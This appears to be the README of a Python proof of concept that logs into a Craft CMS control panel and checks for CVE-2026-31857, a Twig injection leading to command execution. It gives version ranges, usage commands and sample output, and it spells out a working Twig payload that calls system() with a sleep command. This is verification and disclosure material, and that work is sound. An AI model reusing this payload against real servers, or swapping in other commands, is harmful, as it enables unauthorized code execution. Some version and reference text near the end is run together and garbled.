
Python proof-of-concept that authenticates to Craft CMS control panel and verifies CVE-2026-31857 Twig injection RCE non-destructively using a sleep-based timing check.
A small, generic, non-destructive proof of concept for CVE-2026-31857 in Craft CMS.
The vulnerability exists in Craft CMS relational condition handling. A control-panel user can supply an elementIds value that reaches an unsandboxed object-template renderer. On vulnerable releases, this can result in server-side Twig evaluation and command execution.
This PoC deliberately performs only a timing-based verification by requesting sleep N. It does not open a shell, write files, or return arbitrary command output.
According to the Craft CMS advisory:
>= 5.0.0-RC1 and <= 5.9.8>= 4.0.0-beta.1 and <= 4.17.3Fixed in:
5.9.94.17.4Always check the vendor advisory and downstream package information before concluding that a packaged build is vulnerable.
Install dependencies:
python3 -m pip install -r requirements.txt
python3 poc.py \
--target https://craft.example \
--username editor \
--password 'ExamplePassword'
For a non-default control-panel trigger:
python3 poc.py \
-t https://craft.example \
-u editor \
-p 'ExamplePassword' \
--cp-trigger control
For an authorized lab with a self-signed certificate:
python3 poc.py \
-t https://craft.example \
-u editor \
-p 'ExamplePassword' \
--insecure
Example output on a vulnerable instance:
[*] Fetching Craft control panel...
[+] Authenticated successfully.
[*] Action endpoint: https://craft.example/admin/actions/element-indexes/get-elements
[*] Baseline: HTTP 200, 0.184s
[*] Timing payload: HTTP 200, 4.207s
[+] Likely vulnerable to CVE-2026-31857 (timing delta: 4.023s).
The verifier:
users/login.RelatedToConditionRule.elementIds:{{ ['system','sleep 4'] | sort('call_user_func') }}
The relevant vulnerable path is conceptually:
RelatedToConditionRule
-> BaseElementSelectConditionRule::getElementIds()
-> renderObjectTemplate()
-> unsandboxed Twig evaluation
The vendor fix changes the affected rendering path to use the sandboxed object-template renderer.
sleep command.actionUrl value and otherwise falls back to query-string action routing.GHSA-fp5j-j7j4-mcxcCVE-2026-318578d4903647dcfd31b8d40ed027e27082013347a80Use this code only on systems you own or where you have explicit authorization to perform security testing.